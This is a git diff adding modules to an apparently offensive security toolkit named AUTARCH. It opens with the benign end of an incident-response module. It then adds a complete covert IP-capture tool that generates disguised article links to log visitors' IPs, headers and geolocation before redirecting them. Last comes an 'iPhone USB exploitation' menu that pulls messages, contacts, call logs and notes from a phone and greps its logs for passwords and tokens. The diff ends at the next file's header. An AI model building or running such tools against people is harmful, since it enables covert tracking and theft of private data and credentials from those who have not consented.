+ 'Implement DLP with content-aware policies', + 'Conduct regular access certification reviews', + 'Establish clear data handling policies', + ], + 'ddos': [ + 'Subscribe to a DDoS mitigation service', + 'Implement rate limiting at all network layers', + 'Deploy a web application firewall (WAF)', + 'Configure SYN flood protection on all servers', + 'Implement anycast DNS for resilience', + 'Create and test DDoS runbooks quarterly', + ], + 'account_compromise': [ + 'Enforce MFA on all user accounts', + 'Implement conditional access policies', + 'Deploy password manager for the organization', + 'Enable login anomaly detection', + 'Implement session timeout policies', + 'Conduct regular credential audits', + ], + 'malware': [ + 'Deploy next-gen antivirus with behavioral detection', + 'Implement application whitelisting', + 'Enable automatic OS and application patching', + 'Restrict macro execution in Office documents', + 'Implement email gateway scanning', + 'Deploy network-level malware detection', + ], + 'phishing': [ + 'Deploy advanced email gateway with AI detection', + 'Implement DMARC, DKIM, and SPF for email authentication', + 'Conduct regular phishing simulation exercises', + 'Enable browser isolation for email links', + 'Implement URL rewriting and time-of-click protection', + 'Establish easy phishing report button for users', + ], + 'unauthorized_access': [ + 'Implement zero-trust network architecture', + 'Deploy intrusion detection/prevention systems', + 'Enable comprehensive authentication logging', + 'Conduct regular vulnerability assessments', + 'Implement network access control (NAC)', + 'Deploy privileged access management (PAM)', + ], + } + return recs.get(incident_type, ['Review and update security controls']) + + def export_incident(self, incident_id, fmt='json'): + """Export the full incident package as JSON.""" + incident = self.get_incident(incident_id) + if 'error' in incident: + return incident + + # Include evidence content + edir = self._evidence_dir(incident_id) + evidence_data = [] + for ef in incident.get('evidence', []): + filepath = edir / ef['filename'] + try: + content = filepath.read_text(encoding='utf-8', errors='replace') + except Exception: + content = '[Could not read file]' + evidence_data.append({ + 'filename': ef['filename'], + 'name': ef['name'], + 'size': ef['size'], + 'collected_at': ef['collected_at'], + 'content': content, + }) + + export = { + 'incident': incident, + 'evidence_data': evidence_data, + 'report': self.generate_report(incident_id), + 'exported_at': self._now_iso(), + } + return export + + +# ── Singleton ──────────────────────────────────────────────────── + +_instance = None + + +def get_incident_resp(): + """Get or create singleton IncidentResponse instance.""" + global _instance + if _instance is None: + _instance = IncidentResponse() + return _instance + + +# ── CLI Runner ─────────────────────────────────────────────────── + +def run(): + """CLI interface for incident response module.""" + ir = get_incident_resp() + + while True: + clear_screen() + display_banner() + print(f'\n{Colors.CYAN}{"=" * 50}') + print(f' INCIDENT RESPONSE') + print(f'{"=" * 50}{Colors.RESET}\n') + + incidents = ir.list_incidents() + open_count = sum(1 for i in incidents if i['status'] != 'closed') + print(f' Active incidents: {open_count}\n') + + print(f' {Colors.GREEN}1{Colors.RESET} Create Incident') + print(f' {Colors.GREEN}2{Colors.RESET} List Incidents') + print(f' {Colors.GREEN}3{Colors.RESET} View Incident') + print(f' {Colors.GREEN}4{Colors.RESET} Run Playbook') + print(f' {Colors.GREEN}5{Colors.RESET} Collect Evidence') + print(f' {Colors.GREEN}6{Colors.RESET} Sweep IOCs') + print(f' {Colors.GREEN}7{Colors.RESET} Generate Report') + print(f' {Colors.RED}0{Colors.RESET} Back\n') + + choice = input(f'{Colors.CYAN}>{Colors.RESET} ').strip() + + if choice == '0': + break + + elif choice == '1': + print(f'\n{Colors.CYAN}Create New Incident{Colors.RESET}') + name = input(' Name: ').strip() + if not name: + continue + print(f' Types: {", ".join(INCIDENT_TYPES)}') + itype = input(' Type: ').strip() + print(f' Severity: {", ".join(SEVERITY_LEVELS)}') + severity = input(' Severity: ').strip() + desc = input(' Description: ').strip() + result = ir.create_incident(name, itype, severity, desc) + if 'error' in result: + print(f'\n {Colors.RED}Error: {result["error"]}{Colors.RESET}') + else: + print(f'\n {Colors.GREEN}Created incident: {result["id"]}{Colors.RESET}') + input('\n Press Enter...') + + elif choice == '2': + print(f'\n{Colors.CYAN}Incidents{Colors.RESET}\n') + for inc in incidents: + sev_color = { + 'critical': Colors.RED, 'high': Colors.YELLOW, + 'medium': Colors.CYAN, 'low': Colors.GREEN, + }.get(inc['severity'], Colors.WHITE) + print(f' {inc["id"]} | {inc["name"][:30]:30s} | ' + f'{sev_color}{inc["severity"]:8s}{Colors.RESET} | ' + f'{inc["status"]:12s} | {inc["type"]}') + if not incidents: + print(' No incidents found.') + input('\n Press Enter...') + + elif choice == '3': + iid = input('\n Incident ID: ').strip() + inc = ir.get_incident(iid) + if 'error' in inc: + print(f'\n {Colors.RED}{inc["error"]}{Colors.RESET}') + else: + print(f'\n {Colors.BOLD}{inc["name"]}{Colors.RESET}') + print(f' Type: {inc["type"]} | Severity: {inc["severity"]} | Status: {inc["status"]}') + print(f' Created: {inc["created"]}') + print(f' Description: {inc.get("description", "")}') + print(f'\n Timeline events: {len(inc.get("timeline", []))}') + print(f' Evidence items: {len(inc.get("evidence", []))}') + progress = inc.get('playbook_progress', []) + done = sum(1 for p in progress if p) + print(f' Playbook progress: {done}/{len(progress)} steps') + input('\n Press Enter...') + + elif choice == '4': + iid = input('\n Incident ID: ').strip() + inc = ir.get_incident(iid) + if 'error' in inc: + print(f'\n {Colors.RED}{inc["error"]}{Colors.RESET}') + input('\n Press Enter...') + continue + pb = ir.get_playbook(inc['type']) + if 'error' in pb: + print(f'\n {Colors.RED}{pb["error"]}{Colors.RESET}') + input('\n Press Enter...') + continue + print(f'\n {Colors.CYAN}Playbook: {pb["name"]}{Colors.RESET}\n') + progress = inc.get('playbook_progress', []) + for i, step in enumerate(pb['steps']): + done = progress[i] if i < len(progress) else False + mark = f'{Colors.GREEN}[X]{Colors.RESET}' if done else f'{Colors.RED}[ ]{Colors.RESET}' + auto_tag = f' {Colors.YELLOW}[AUTO]{Colors.RESET}' if step.get('automated') else '' + print(f' {mark} {i}: {step["title"]}{auto_tag}') + step_idx = input('\n Step # to run (or Enter to skip): ').strip() + if step_idx.isdigit(): + auto = input(' Auto-execute commands? (y/n): ').strip().lower() == 'y' + result = ir.run_playbook_step(iid, int(step_idx), auto=auto) + if 'error' in result: + print(f'\n {Colors.RED}{result["error"]}{Colors.RESET}') + else: + print(f'\n {Colors.GREEN}Step completed: {result["title"]}{Colors.RESET}') + if result.get('output'): + print(f'\n{result["output"][:500]}') + input('\n Press Enter...') + + elif choice == '5': + iid = input('\n Incident ID: ').strip() + print(f'\n Evidence types: {", ".join(EVIDENCE_TYPES)}') + etype = input(' Type: ').strip() + result = ir.collect_evidence(iid, etype) + if 'error' in result: + print(f'\n {Colors.RED}{result["error"]}{Colors.RESET}') + else: + print(f'\n {Colors.GREEN}Collected: {result["name"]} ({result["size"]} bytes){Colors.RESET}') + if result.get('preview'): + print(f'\n Preview:\n{result["preview"][:300]}') + input('\n Press Enter...') + + elif choice == '6': + iid = input('\n Incident ID: ').strip() + print('\n Enter IOCs (comma-separated):') + ips = input(' IPs: ').strip() + domains = input(' Domains: ').strip() + hashes = input(' Hashes: ').strip() + iocs = { + 'ips': [x.strip() for x in ips.split(',') if x.strip()], + 'domains': [x.strip() for x in domains.split(',') if x.strip()], + 'hashes': [x.strip() for x in hashes.split(',') if x.strip()], + } + result = ir.sweep_iocs(iid, iocs) + if 'error' in result: + print(f'\n {Colors.RED}{result["error"]}{Colors.RESET}') + else: + print(f'\n {Colors.CYAN}Swept {result["total_iocs"]} IOCs, ' + f'found {result["matches_found"]} matches{Colors.RESET}') + for m in result.get('matches', []): + sev_color = Colors.RED if m['severity'] == 'critical' else Colors.YELLOW + print(f' {sev_color}[{m["severity"].upper()}]{Colors.RESET} ' + f'{m["type"]}: {m["ioc"]} in {m["found_in"]}') + input('\n Press Enter...') + + elif choice == '7': + iid = input('\n Incident ID: ').strip() + report = ir.generate_report(iid) + if 'error' in report: + print(f'\n {Colors.RED}{report["error"]}{Colors.RESET}') + else: + es = report['executive_summary'] + print(f'\n {Colors.BOLD}{report["title"]}{Colors.RESET}') + print(f' Type: {es["incident_type"]} | Severity: {es["severity"]}') + print(f' Status: {es["status"]} | Duration: {es["duration"]}') + print(f' Timeline: {report["timeline_summary"]}') + pp = report['playbook_progress'] + print(f' Playbook: {pp["completed_steps"]}/{pp["total_steps"]} steps ({pp["completion_pct"]}%)') + print(f' Evidence: {report["evidence_summary"]["total_evidence"]} items') + print(f' Actions taken: {len(report["actions_taken"])}') + print(f'\n {Colors.CYAN}Recommendations:{Colors.RESET}') + for r in report.get('recommendations', []): + print(f' - {r}') + input('\n Press Enter...') diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/ipcapture.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/ipcapture.py new file mode 100644 index 0000000..86acbd8 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/ipcapture.py @@ -0,0 +1,427 @@ +"""IP Capture & Redirect — stealthy link tracking for OSINT. + +Create disguised links that capture visitor IP + metadata, +then redirect to a legitimate target URL. Fast 302 redirect, +realistic URL paths, no suspicious indicators. +""" + +DESCRIPTION = "IP Capture & Redirect — stealthy link tracking" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "osint" + +import os +import json +import time +import random +import string +import hashlib +import threading +from datetime import datetime +from pathlib import Path +from typing import Dict, List, Optional + +try: + from core.paths import get_data_dir +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + +# ── Realistic URL path generation ──────────────────────────────────────────── + +_WORD_POOL = [ + 'tech', 'news', 'science', 'world', 'business', 'health', 'politics', + 'sports', 'culture', 'opinion', 'breaking', 'latest', 'update', 'report', + 'analysis', 'insight', 'review', 'guide', 'how-to', 'explained', + 'ai', 'climate', 'economy', 'security', 'research', 'innovation', + 'digital', 'global', 'local', 'industry', 'future', 'trends', + 'development', 'infrastructure', 'community', 'education', 'policy', +] + +_TITLE_PATTERNS = [ + '{adj}-{noun}-{verb}-{year}-{noun2}', + '{noun}-{adj}-{noun2}-{verb}', + 'new-{noun}-{verb}-{adj}-{noun2}', + '{noun}-report-{year}-{adj}-{noun2}', + 'how-{noun}-is-{verb}-the-{noun2}', + '{adj}-{noun}-breakthrough-{noun2}', +] + +_ADJECTIVES = [ + 'major', 'new', 'latest', 'critical', 'emerging', 'global', + 'innovative', 'surprising', 'important', 'unprecedented', +] + +_NOUNS = [ + 'technology', 'researchers', 'companies', 'governments', 'scientists', + 'industry', 'market', 'community', 'experts', 'development', +] + +_VERBS = [ + 'changing', 'transforming', 'disrupting', 'advancing', 'impacting', + 'reshaping', 'driving', 'revealing', 'challenging', 'accelerating', +] + + +def _generate_article_path() -> str: + """Generate a realistic-looking article URL path.""" + now = datetime.now() + year = now.strftime('%Y') + month = now.strftime('%m') + + pattern = random.choice(_TITLE_PATTERNS) + slug = pattern.format( + adj=random.choice(_ADJECTIVES), + noun=random.choice(_NOUNS), + noun2=random.choice(_NOUNS), + verb=random.choice(_VERBS), + year=year, + ) + + # Article-style path + styles = [ + f'/article/{year}/{month}/{slug}', + f'/news/{year}/{slug}', + f'/stories/{slug}-{random.randint(1000, 9999)}', + f'/p/{slug}', + f'/read/{hashlib.md5(slug.encode()).hexdigest()[:8]}', + ] + return random.choice(styles) + + +def _generate_short_key(length: int = 8) -> str: + """Generate a short random key.""" + chars = string.ascii_lowercase + string.digits + return ''.join(random.choices(chars, k=length)) + + +# ── IP Capture Service ─────────────────────────────────────────────────────── + +class IPCaptureService: + """Manage capture links and record visitor metadata.""" + + def __init__(self): + self._file = os.path.join(get_data_dir(), 'osint_captures.json') + self._links = {} + self._lock = threading.Lock() + self._load() + + def _load(self): + if os.path.exists(self._file): + try: + with open(self._file, 'r') as f: + self._links = json.load(f) + except Exception: + self._links = {} + + def _save(self): + os.makedirs(os.path.dirname(self._file), exist_ok=True) + with open(self._file, 'w') as f: + json.dump(self._links, f, indent=2) + + def create_link(self, target_url: str, name: str = '', + disguise: str = 'article') -> dict: + """Create a new capture link. + + Args: + target_url: The legitimate URL to redirect to after capture. + name: Friendly name for this link. + disguise: URL style — 'short', 'article', or 'custom'. + + Returns: + Dict with key, paths, and full URLs. + """ + key = _generate_short_key() + + if disguise == 'article': + article_path = _generate_article_path() + elif disguise == 'short': + article_path = f'/c/{key}' + else: + article_path = f'/c/{key}' + + with self._lock: + self._links[key] = { + 'key': key, + 'name': name or f'Link {key}', + 'target_url': target_url, + 'disguise': disguise, + 'article_path': article_path, + 'short_path': f'/c/{key}', + 'created': datetime.now().isoformat(), + 'captures': [], + 'active': True, + } + self._save() + + return { + 'ok': True, + 'key': key, + 'short_path': f'/c/{key}', + 'article_path': article_path, + 'target_url': target_url, + } + + def get_link(self, key: str) -> Optional[dict]: + return self._links.get(key) + + def list_links(self) -> List[dict]: + return list(self._links.values()) + + def delete_link(self, key: str) -> bool: + with self._lock: + if key in self._links: + del self._links[key] + self._save() + return True + return False + + def find_by_path(self, path: str) -> Optional[dict]: + """Find a link by its article path.""" + for link in self._links.values(): + if link.get('article_path') == path: + return link + return None + + def record_capture(self, key: str, ip: str, user_agent: str = '', + accept_language: str = '', referer: str = '', + headers: dict = None) -> bool: + """Record a visitor capture.""" + with self._lock: + link = self._links.get(key) + if not link or not link.get('active'): + return False + + capture = { + 'ip': ip, + 'timestamp': datetime.now().isoformat(), + 'user_agent': user_agent, + 'accept_language': accept_language, + 'referer': referer, + } + + # Extract extra metadata from headers + if headers: + for h in ['X-Forwarded-For', 'CF-Connecting-IP', 'X-Real-IP']: + val = headers.get(h, '') + if val: + capture[f'header_{h.lower().replace("-","_")}'] = val + # Connection hints + for h in ['Sec-CH-UA', 'Sec-CH-UA-Platform', 'Sec-CH-UA-Mobile', + 'DNT', 'Upgrade-Insecure-Requests']: + val = headers.get(h, '') + if val: + capture[f'hint_{h.lower().replace("-","_")}'] = val + + # GeoIP lookup (best-effort) + try: + geo = self._geoip_lookup(ip) + if geo: + capture['geo'] = geo + except Exception: + pass + + link['captures'].append(capture) + self._save() + return True + + def _geoip_lookup(self, ip: str) -> Optional[dict]: + """Best-effort GeoIP lookup using the existing geoip module.""" + try: + from modules.geoip import GeoIPLookup + geo = GeoIPLookup() + result = geo.lookup(ip) + if result and result.get('success'): + return { + 'country': result.get('country', ''), + 'region': result.get('region', ''), + 'city': result.get('city', ''), + 'isp': result.get('isp', ''), + 'lat': result.get('latitude', ''), + 'lon': result.get('longitude', ''), + } + except Exception: + pass + return None + + def get_captures(self, key: str) -> List[dict]: + link = self._links.get(key) + return link.get('captures', []) if link else [] + + def get_stats(self, key: str) -> dict: + link = self._links.get(key) + if not link: + return {} + captures = link.get('captures', []) + unique_ips = set(c['ip'] for c in captures) + return { + 'total': len(captures), + 'unique_ips': len(unique_ips), + 'first': captures[0]['timestamp'] if captures else None, + 'last': captures[-1]['timestamp'] if captures else None, + } + + def export_captures(self, key: str, fmt: str = 'json') -> str: + """Export captures to JSON or CSV string.""" + captures = self.get_captures(key) + if fmt == 'csv': + if not captures: + return 'ip,timestamp,user_agent,country,city\n' + lines = ['ip,timestamp,user_agent,country,city'] + for c in captures: + geo = c.get('geo', {}) + lines.append(','.join([ + c.get('ip', ''), + c.get('timestamp', ''), + f'"{c.get("user_agent", "")}"', + geo.get('country', ''), + geo.get('city', ''), + ])) + return '\n'.join(lines) + return json.dumps(captures, indent=2) + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None +_lock = threading.Lock() + + +def get_ip_capture() -> IPCaptureService: + global _instance + if _instance is None: + with _lock: + if _instance is None: + _instance = IPCaptureService() + return _instance + + +# ── Interactive CLI ────────────────────────────────────────────────────────── + +def run(): + """Interactive CLI for IP Capture & Redirect.""" + service = get_ip_capture() + + while True: + print("\n" + "=" * 60) + print(" IP CAPTURE & REDIRECT") + print(" Stealthy link tracking for OSINT") + print("=" * 60) + links = service.list_links() + active = sum(1 for l in links if l.get('active')) + total_captures = sum(len(l.get('captures', [])) for l in links) + print(f" Active links: {active} | Total captures: {total_captures}") + print() + print(" 1 — Create Capture Link") + print(" 2 — List Active Links") + print(" 3 — View Captures") + print(" 4 — Delete Link") + print(" 5 — Export Captures") + print(" 0 — Back") + print() + + choice = input(" Select: ").strip() + + if choice == '0': + break + elif choice == '1': + _cli_create(service) + elif choice == '2': + _cli_list(service) + elif choice == '3': + _cli_view(service) + elif choice == '4': + _cli_delete(service) + elif choice == '5': + _cli_export(service) + + +def _cli_create(service: IPCaptureService): + """Create a new capture link.""" + print("\n--- Create Capture Link ---") + target = input(" Target URL (redirect destination): ").strip() + if not target: + print(" [!] URL required") + return + if not target.startswith(('http://', 'https://')): + target = 'https://' + target + + name = input(" Friendly name []: ").strip() + print(" Disguise type:") + print(" 1 — Article URL (realistic path)") + print(" 2 — Short URL (/c/xxxxx)") + dtype = input(" Select [1]: ").strip() or '1' + disguise = 'article' if dtype == '1' else 'short' + + result = service.create_link(target, name, disguise) + if result['ok']: + print(f"\n [+] Link created!") + print(f" Key: {result['key']}") + print(f" Short URL: {result['short_path']}") + print(f" Article URL: {result['article_path']}") + print(f" Redirects to: {result['target_url']}") + else: + print(f" [-] {result.get('error', 'Failed')}") + + +def _cli_list(service: IPCaptureService): + """List all active links.""" + links = service.list_links() + if not links: + print("\n No capture links") + return + print(f"\n--- Active Links ({len(links)}) ---") + for l in links: + stats = service.get_stats(l['key']) + active = "ACTIVE" if l.get('active') else "DISABLED" + print(f"\n [{l['key']}] {l.get('name', 'Unnamed')} — {active}") + print(f" Target: {l['target_url']}") + print(f" Short: {l['short_path']}") + print(f" Article: {l.get('article_path', 'N/A')}") + print(f" Captures: {stats.get('total', 0)} ({stats.get('unique_ips', 0)} unique)") + if stats.get('last'): + print(f" Last hit: {stats['last']}") + + +def _cli_view(service: IPCaptureService): + """View captures for a link.""" + key = input(" Link key: ").strip() + captures = service.get_captures(key) + if not captures: + print(" No captures for this link") + return + print(f"\n--- Captures ({len(captures)}) ---") + for c in captures: + geo = c.get('geo', {}) + location = f"{geo.get('city', '?')}, {geo.get('country', '?')}" if geo else 'Unknown' + print(f" {c['timestamp']} {c['ip']:>15} {location}") + if c.get('user_agent'): + ua = c['user_agent'][:80] + ('...' if len(c.get('user_agent', '')) > 80 else '') + print(f" UA: {ua}") + + +def _cli_delete(service: IPCaptureService): + """Delete a link.""" + key = input(" Link key to delete: ").strip() + if service.delete_link(key): + print(" [+] Link deleted") + else: + print(" [-] Link not found") + + +def _cli_export(service: IPCaptureService): + """Export captures.""" + key = input(" Link key: ").strip() + fmt = input(" Format (json/csv) [json]: ").strip() or 'json' + data = service.export_captures(key, fmt) + print(f"\n{data}") + + save = input("\n Save to file? [y/N]: ").strip().lower() + if save == 'y': + ext = 'csv' if fmt == 'csv' else 'json' + filepath = os.path.join(get_data_dir(), 'exports', f'captures_{key}.{ext}') + os.makedirs(os.path.dirname(filepath), exist_ok=True) + with open(filepath, 'w') as f: + f.write(data) + print(f" [+] Saved to {filepath}") diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/iphone_local.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/iphone_local.py new file mode 100644 index 0000000..6c90414 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/iphone_local.py @@ -0,0 +1,402 @@ +""" +iPhone Local USB - Device access via libimobiledevice +""" + +DESCRIPTION = "iPhone USB exploitation (info, backup, extract, apps, profiles)" +AUTHOR = "AUTARCH" +VERSION = "1.0" +CATEGORY = "hardware" + +import sys +from pathlib import Path +sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) + + +class IPhoneLocal: + """Interactive menu for iPhone USB device access.""" + + def __init__(self): + from core.iphone_exploit import get_iphone_manager + self.mgr = get_iphone_manager() + self.udid = None + + def _select_device(self): + devices = self.mgr.list_devices() + if not devices: + print(" No iOS devices connected.") + return + if len(devices) == 1: + self.udid = devices[0]['udid'] + print(f" Selected: {devices[0].get('name','')} ({self.udid[:12]}...)") + return + print("\n Select device:") + for i, d in enumerate(devices, 1): + print(f" {i}) {d.get('name','')} - {d.get('model','')} iOS {d.get('ios_version','')} [{d['udid'][:12]}...]") + try: + choice = int(input(" > ").strip()) + if 1 <= choice <= len(devices): + self.udid = devices[choice - 1]['udid'] + except (ValueError, EOFError, KeyboardInterrupt): + pass + + def _ensure_device(self): + if not self.udid: + self._select_device() + return self.udid is not None + + def show_menu(self): + status = self.mgr.get_status() + print(f"\n{'='*60}") + print(" iPhone USB Exploitation") + print(f"{'='*60}") + print(f" Tools: {status['found']}/{status['total']} available") + print(f" Device: {self.udid[:16] + '...' if self.udid else '(none)'}") + print() + print(" ── Device ──") + print(" [1] List Devices") + print(" [2] Device Info") + print(" [3] Full Fingerprint") + print(" [4] Pair / Validate") + print(" [5] Get/Set Device Name") + print(" [6] Restart / Shutdown / Sleep") + print() + print(" ── Capture ──") + print(" [10] Screenshot") + print(" [11] Syslog Dump") + print(" [12] Syslog Grep (sensitive)") + print(" [13] Crash Reports") + print() + print(" ── Apps ──") + print(" [20] List Apps") + print(" [21] Install IPA") + print(" [22] Uninstall App") + print() + print(" ── Backup & Extraction ──") + print(" [30] Create Backup") + print(" [31] List Backups") + print(" [32] Extract SMS/iMessage") + print(" [33] Extract Contacts") + print(" [34] Extract Call Log") + print(" [35] Extract Notes") + print(" [36] Browse Backup Files") + print(" [37] Extract Backup File") + print() + print(" ── Filesystem & Profiles ──") + print(" [40] Mount Filesystem (ifuse)") + print(" [41] Mount App Documents") + print(" [42] Unmount") + print(" [43] List Profiles") + print(" [44] Install Profile") + print(" [45] Remove Profile") + print() + print(" ── Network ──") + print(" [50] Port Forward (iproxy)") + print(" [51] Export Recon Report") + print() + print(" [s] Select Device") + print(" [0] Back") + print() + + def _pick_backup(self): + backups = self.mgr.list_backups() + if not backups['backups']: + print(" No backups found. Create one first.") + return None + print("\n Available backups:") + for i, b in enumerate(backups['backups'], 1): + name = b.get('device_name', b['udid'][:12]) + size = b.get('size_mb', 0) + print(f" {i}) {name} - {b.get('ios_version','')} ({size:.0f} MB)") + try: + choice = int(input(" > ").strip()) + if 1 <= choice <= len(backups['backups']): + return backups['backups'][choice - 1]['path'] + except (ValueError, EOFError, KeyboardInterrupt): + pass + return None + + def run_interactive(self): + while True: + self.show_menu() + try: + choice = input(" Select > ").strip().lower() + except (EOFError, KeyboardInterrupt): + break + if choice == '0': + break + elif choice == 's': + self._select_device() + continue + + try: + self._dispatch(choice) + except (EOFError, KeyboardInterrupt): + continue + + def _dispatch(self, choice): + m = self.mgr + # Device + if choice == '1': + devices = m.list_devices() + if not devices: + print(" No iOS devices connected.") + else: + print(f"\n {'UDID':<42} {'Name':<20} {'Model':<15} iOS") + print(f" {'-'*85}") + for d in devices: + print(f" {d['udid']:<42} {d.get('name',''):<20} {d.get('model',''):<15} {d.get('ios_version','')}") + elif choice == '2': + if not self._ensure_device(): return + info = m.device_info(self.udid) + if 'error' in info: + print(f" Error: {info['error']}") + else: + for k, v in list(info.items())[:40]: + print(f" {k:<35} {v}") + if len(info) > 40: + print(f" ... and {len(info)-40} more fields") + elif choice == '3': + if not self._ensure_device(): return + fp = m.full_fingerprint(self.udid) + for k, v in list(fp.items())[:50]: + if isinstance(v, dict): + print(f" {k}:") + for sk, sv in list(v.items())[:10]: + print(f" {sk}: {sv}") + else: + print(f" {k:<35} {v}") + elif choice == '4': + if not self._ensure_device(): return + action = input(" [p]air / [v]alidate / [u]npair? ").strip().lower() + if action == 'p': + r = m.pair_device(self.udid) + elif action == 'u': + r = m.unpair_device(self.udid) + else: + r = m.validate_pair(self.udid) + print(f" {r.get('output', r)}") + elif choice == '5': + if not self._ensure_device(): return + r = m.get_name(self.udid) + print(f" Current name: {r['name']}") + new = input(" New name (Enter to keep): ").strip() + if new: + m.set_name(self.udid, new) + print(f" Name set to: {new}") + elif choice == '6': + if not self._ensure_device(): return + action = input(" [r]estart / [s]hutdown / s[l]eep? ").strip().lower() + if action == 'r': + r = m.restart_device(self.udid) + elif action == 's': + r = m.shutdown_device(self.udid) + elif action == 'l': + r = m.sleep_device(self.udid) + else: + print(" Invalid."); return + print(f" {r.get('output', 'Done')}") + # Capture + elif choice == '10': + if not self._ensure_device(): return + r = m.screenshot(self.udid) + if r['success']: + print(f" Screenshot: {r['path']} ({r['size']} bytes)") + else: + print(f" Error: {r['error']}") + elif choice == '11': + if not self._ensure_device(): return + dur = input(" Duration [5]: ").strip() + r = m.syslog_dump(self.udid, duration=int(dur) if dur else 5) + if r['success']: + print(f" Syslog: {r['path']} ({r['lines']} lines)") + else: + print(f" Error: {r['error']}") + elif choice == '12': + if not self._ensure_device(): return + pattern = input(" Grep pattern [password|token|key]: ").strip() or 'password|token|key|secret' + dur = input(" Duration [5]: ").strip() + r = m.syslog_grep(self.udid, pattern, duration=int(dur) if dur else 5) + print(f" {r['count']} matches:") + for line in r.get('matches', [])[:20]: + print(f" {line[:120]}") + elif choice == '13': + if not self._ensure_device(): return + r = m.crash_reports(self.udid) + if r['success']: + print(f" {r['count']} crash reports in {r['output_dir']}") + else: + print(f" Error: {r['error']}") + # Apps + elif choice == '20': + if not self._ensure_device(): return + t = input(" Type [user/system/all]: ").strip() or 'user' + r = m.list_apps(self.udid, app_type=t) + if r['success']: + print(f" {r['count']} apps:") + for a in r['apps']: + print(f" {a.get('bundle_id',''):<40} {a.get('name','')}") + else: + print(f" Error: {r['error']}") + elif choice == '21': + if not self._ensure_device(): return + path = input(" IPA path: ").strip() + if path: + r = m.install_app(self.udid, path) + print(f" {r.get('output', 'Done')}") + elif choice == '22': + if not self._ensure_device(): return + bid = input(" Bundle ID to remove: ").strip() + if bid: + r = m.uninstall_app(self.udid, bid) + print(f" {r.get('output', 'Done')}") + # Backup + elif choice == '30': + if not self._ensure_device(): return + enc = input(" Encrypted backup? [y/N]: ").strip().lower() == 'y' + pwd = '' + if enc: + pwd = input(" Backup password: ").strip() + print(" Creating backup (this may take several minutes)...") + r = m.create_backup(self.udid, encrypted=enc, password=pwd) + if r['success']: + print(f" Backup saved: {r['backup_path']}") + else: + print(f" Error: {r.get('output', 'Failed')}") + elif choice == '31': + r = m.list_backups() + print(f" {r['count']} backups:") + for b in r['backups']: + name = b.get('device_name', b['udid'][:12]) + print(f" {name} - iOS {b.get('ios_version','')} - {b.get('size_mb',0):.0f}MB - {b.get('date','')}") + elif choice == '32': + bp = self._pick_backup() + if bp: + r = m.extract_backup_sms(bp) + if r['success']: + print(f" {r['count']} messages:") + for msg in r['messages'][:20]: + d = 'ME' if msg['is_from_me'] else msg['handle'] + print(f" [{msg['date']}] {d}: {msg['text'][:60]}") + else: + print(f" Error: {r['error']}") + elif choice == '33': + bp = self._pick_backup() + if bp: + r = m.extract_backup_contacts(bp) + if r['success']: + print(f" {r['count']} contacts:") + for c in r['contacts'][:30]: + print(f" {c['first']} {c['last']} {c.get('organization','')} - {', '.join(c['values'][:3])}") + else: + print(f" Error: {r['error']}") + elif choice == '34': + bp = self._pick_backup() + if bp: + r = m.extract_backup_call_log(bp) + if r['success']: + print(f" {r['count']} calls:") + for c in r['calls'][:20]: + print(f" [{c['date']}] {c['type']:<10} {c['address']} ({c['duration']}s)") + else: + print(f" Error: {r['error']}") + elif choice == '35': + bp = self._pick_backup() + if bp: + r = m.extract_backup_notes(bp) + if r['success']: + print(f" {r['count']} notes:") + for n in r['notes'][:15]: + print(f" [{n['date']}] {n['title']}") + if n['body']: + print(f" {n['body'][:80]}") + else: + print(f" Error: {r['error']}") + elif choice == '36': + bp = self._pick_backup() + if bp: + domain = input(" Domain filter (or Enter): ").strip() + path_f = input(" Path filter (or Enter): ").strip() + r = m.list_backup_files(bp, domain=domain, path_filter=path_f) + if r['success']: + print(f" {r['count']} files:") + for f in r['files'][:30]: + print(f" [{f['domain']}] {f['path']}") + else: + print(f" Error: {r['error']}") + elif choice == '37': + bp = self._pick_backup() + if bp: + fhash = input(" File hash: ").strip() + name = input(" Output filename (or Enter): ").strip() or None + if fhash: + r = m.extract_backup_file(bp, fhash, output_name=name) + if r['success']: + print(f" Extracted: {r['path']} ({r['size']} bytes)") + else: + print(f" Error: {r['error']}") + # Filesystem + elif choice == '40': + if not self._ensure_device(): return + r = m.mount_filesystem(self.udid) + if r['success']: + print(f" Mounted at: {r['mountpoint']}") + else: + print(f" Error: {r.get('error', r.get('output'))}") + elif choice == '41': + if not self._ensure_device(): return + bid = input(" Bundle ID: ").strip() + if bid: + r = m.mount_app_documents(self.udid, bid) + if r['success']: + print(f" Mounted at: {r['mountpoint']}") + else: + print(f" Error: {r.get('error', r.get('output'))}") + elif choice == '42': + mp = input(" Mountpoint to unmount: ").strip() + if mp: + m.unmount_filesystem(mp) + print(" Unmounted.") + elif choice == '43': + if not self._ensure_device(): return + r = m.list_profiles(self.udid) + if r['success']: + print(f" {r['count']} profiles:") + for p in r['profiles']: + print(f" {p.get('id','')} - {p.get('name','')}") + else: + print(f" Error: {r['error']}") + elif choice == '44': + if not self._ensure_device(): return + path = input(" Profile path (.mobileprovision/.mobileconfig): ").strip() + if path: + r = m.install_profile(self.udid, path) + print(f" {r.get('output', 'Done')}") + elif choice == '45': + if not self._ensure_device(): return + pid = input(" Profile ID to remove: ").strip() + if pid: + r = m.remove_profile(self.udid, pid) + print(f" {r.get('output', 'Done')}") + # Network + elif choice == '50': + if not self._ensure_device(): return + lp = input(" Local port: ").strip() + dp = input(" Device port: ").strip() + if lp and dp: + r = m.port_forward(self.udid, int(lp), int(dp)) + if r['success']: + print(f" Forwarding localhost:{lp} -> device:{dp} (PID: {r['pid']})") + else: + print(f" Error: {r['error']}") + elif choice == '51': + if not self._ensure_device(): return + r = m.export_recon_report(self.udid) + if r['success']: + print(f" Report: {r['report_path']}") + else: + print(" Invalid choice.") + + +def run(): + m = IPhoneLocal() + m.run_interactive() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/llm_trainer.py 